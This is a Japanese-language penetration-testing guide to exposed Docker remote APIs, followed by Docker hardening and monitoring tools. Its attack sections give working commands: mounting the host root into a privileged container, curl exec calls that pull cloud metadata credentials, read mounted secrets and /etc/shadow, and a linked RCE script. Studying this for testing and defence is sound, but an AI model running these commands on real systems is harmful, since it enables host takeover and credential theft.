2375, 2376 Pentesting Docker

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Dockerの基礎

何をするものか

Dockerは、コンテナ化業界における最先端プラットフォームであり、継続的な革新を牽引しています。これにより、伝統的なものから未来志向のアプリケーションまでの簡単な作成と配布が可能となり、異なる環境での安全な展開が保証されます。

基本的なDockerアーキテクチャ

containerd：これはコンテナのライフサイクルの包括的な管理を担当するコアランタイムであり、イメージの転送と保存、さらにはコンテナの実行、監視、ネットワーキングを管理します。containerdに関する詳細な洞察はさらに探求されます。
コンテナシムは、ヘッドレスコンテナの取り扱いにおいて中間業者として重要な役割を果たし、コンテナが初期化された後にruncからシームレスに引き継ぎます。
runc：その軽量で汎用的なコンテナランタイム機能で高く評価されており、OCI標準に準拠しています。これは、OCIガイドラインに従ってコンテナを開始および管理するためにcontainerdによって使用され、元のlibcontainerから進化しました。
grpcは、containerdとdockerエンジンの間の効率的な相互作用を確保するために通信を容易にするために不可欠です。
OCIは、最新のDockerバージョンがOCIイメージおよびランタイムの両方に準拠しているOCI仕様を維持するために重要です。

基本的なコマンド

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerdは、DockerとKubernetesなどのコンテナプラットフォームのニーズを満たすために特に開発されました。それは、Linux、Windows、Solarisなどのさまざまなオペレーティングシステム上でコンテナを実行することを簡素化することを目指して、オペレーティングシステム固有の機能とシステムコールを抽象化します。Containerdの目標は、ユーザーが必要とする基本的な機能のみを含め、不要なコンポーネントを省略することです。ただし、この目標を完全に達成することは困難であると認識されています。

重要な設計上の決定の1つは、Containerdがネットワーキングを処理しないということです。ネットワーキングは、分散システムにおける重要な要素と見なされ、Software Defined Networking（SDN）やサービスディスカバリなどの複雑さが、プラットフォームによって大きく異なります。そのため、Containerdはネットワーキングの側面をサポートするプラットフォームに管理させることにしています。

DockerはContainerdを利用してコンテナを実行しますが、ContainerdはDockerの機能の一部しかサポートしていないことに注意することが重要です。具体的には、ContainerdにはDockerに存在するネットワーク管理機能が欠けており、Dockerスワームの直接的な作成をサポートしていません。この違いは、Containerdがコンテナランタイム環境としての専門的な機能をプラットフォームに委任し、より専門化された機能を提供することを強調しています。

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podmanは、Open Container Initiative (OCI)の標準に準拠し、Red Hatによって開発および維持されているオープンソースのコンテナエンジンです。デーモンレスアーキテクチャとrootlessコンテナのサポートなど、いくつかの独自の機能により、Dockerとは異なる特徴を持っています。これにより、ユーザーはroot権限なしでコンテナを実行できます。

PodmanはDockerのAPIと互換性があり、Docker CLIコマンドを使用できます。この互換性は、コンテナイメージのビルドに使用するBuildahや、プッシュ、プル、およびインスペクトなどのイメージ操作に使用するSkopeoなどのツールを含むエコシステムにも適用されます。これらのツールの詳細については、GitHubページで確認できます。

主な違い

アーキテクチャ：Dockerのクライアントサーバーモデルとは異なり、バックグラウンドデーモンを持たないPodmanは、デーモンなしで動作します。この設計により、コンテナは起動したユーザーの権限で実行されるため、rootアクセスが不要となり、セキュリティが向上します。
Systemd統合：Podmanはsystemdと統合されており、systemdユニットを介してコンテナを管理できます。これは、Dockerが主にDockerデーモンプロセスを管理するためにsystemdを使用するのとは対照的です。
Rootlessコンテナ：Podmanの重要な機能の1つは、コンテナを起動したユーザーの権限でコンテナを実行できることです。このアプローチにより、攻撃者が侵入したユーザーの権限のみを取得し、rootアクセスを得ることができないため、コンテナ侵害に関連するリスクが最小限に抑えられます。

Podmanのアプローチは、ユーザー権限の管理と既存のDockerワークフローとの互換性を重視した、安全で柔軟なDockerの代替手段を提供しています。

PodmanはDockerと同じAPIをサポートすることを目指しているため、PodmanでもDockerと同じコマンドを使用できます。

podman --version
podman info
pdoman images ls
podman ls

基本情報

リモートAPIは、有効になっている場合、デフォルトで2375ポートで実行されています。デフォルトでは認証が必要ないため、攻撃者は特権のあるDockerコンテナを起動することができます。リモートAPIを使用することで、ホスト/（ルートディレクトリ）をコンテナにアタッチし、ホスト環境のファイルを読み書きすることができます。

デフォルトポート: 2375

PORT    STATE SERVICE
2375/tcp open  docker

列挙

手動

Docker APIを列挙するためには、次の例のようにdockerコマンドやcurlを使用できることに注意してください：

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

もしdockerコマンドでリモートdocker APIに接続できるなら、サービスとやり取りするために以前にコメントされたコマンドを実行できます。

export DOCKER_HOST="tcp://localhost:2375"を使用して、dockerコマンドで-Hパラメータを避けることができます。

高速特権昇格

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

時々、TLSエンドポイントで2376が見られます。dockerクライアントで接続できなかったことがありますが、curlを使用して接続することが可能です。

#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

自動

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Compromising

以下のページでは、Dockerコンテナから脱出する方法を見つけることができます：

pageDocker Security

これを悪用すると、コンテナから脱出することが可能であり、リモートマシンで弱いコンテナを実行し、そこから脱出してマシンを侵害することができます。

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py

特権昇格

Dockerを使用しているホスト内部にいる場合は、特権昇格を試みるためにこの情報を読んでください。

実行中のDockerコンテナ内の秘密の発見

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

環境変数セクションのenvをチェックして、秘密情報を見つけることができます:

パスワード。
IPアドレス。
ポート番号。
パス。
その他...。

ファイルを抽出したい場合:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Dockerのセキュリティ強化

Dockerのインストールと使用のセキュリティ強化

現在のDockerインストールを調査するためにhttps://github.com/docker/docker-bench-securityツールを使用できます。
./docker-bench-security.sh
現在のDockerインストールを調査するためにhttps://github.com/kost/dockscanツールを使用できます。
dockscan -v unix:///var/run/docker.sock
異なるセキュリティオプションで実行される場合のコンテナの権限を調べるためにhttps://github.com/genuinetools/amicontainedツールを使用できます。これは、コンテナを実行する際に一部のセキュリティオプションを使用することの影響を知るのに役立ちます。
docker run --rm -it r.j3ss.co/amicontained
docker run --rm -it --pid host r.j3ss.co/amicontained
docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Dockerイメージのセキュリティ強化

他のDockerイメージをスキャンして脆弱性を見つけるためにhttps://github.com/quay/clairのDockerイメージを使用できます。
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Dockerfileのセキュリティ強化

Dockerfileを検査し、さまざまなミス構成を見つけるためにhttps://github.com/buddy-works/dockerfile-linterツールを使用できます。各ミス構成にはIDが付けられ、それぞれの修正方法はhttps://github.com/buddy-works/dockerfile-linter/blob/master/Rules.mdで見つけることができます。
dockerfilelinter -f Dockerfile

Dockerfileを検査し、さまざまなミス構成を見つけるためにhttps://github.com/replicatedhq/dockerfilelintツールを使用できます。
dockerfilelint Dockerfile

Dockerfileを検査し、さまざまなミス構成を見つけるためにhttps://github.com/RedCoolBeans/dockerlintツールを使用できます。
dockerlint Dockerfile

Dockerfileを検査し、さまざまなミス構成を見つけるためにhttps://github.com/hadolint/hadolintツールを使用できます。
hadolint Dockerfile

疑わしいアクティビティのロギング

実行中のコンテナで疑わしい動作を検出するためにhttps://github.com/falcosecurity/falcoツールを使用できます。
次のチャンクでFalcoがカーネルモジュールをコンパイルして挿入する方法に注目してください。その後、ルールを読み込み、疑わしいアクティビティを記録を開始します。この場合、特権コンテナが2つ開始され、そのうち1つが機密マウントを持っていること、そして数秒後に1つのコンテナ内でシェルが開かれたことが検出されました。

docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Dockerの監視

Dockerを監視するためにauditdを使用できます。

参考文献

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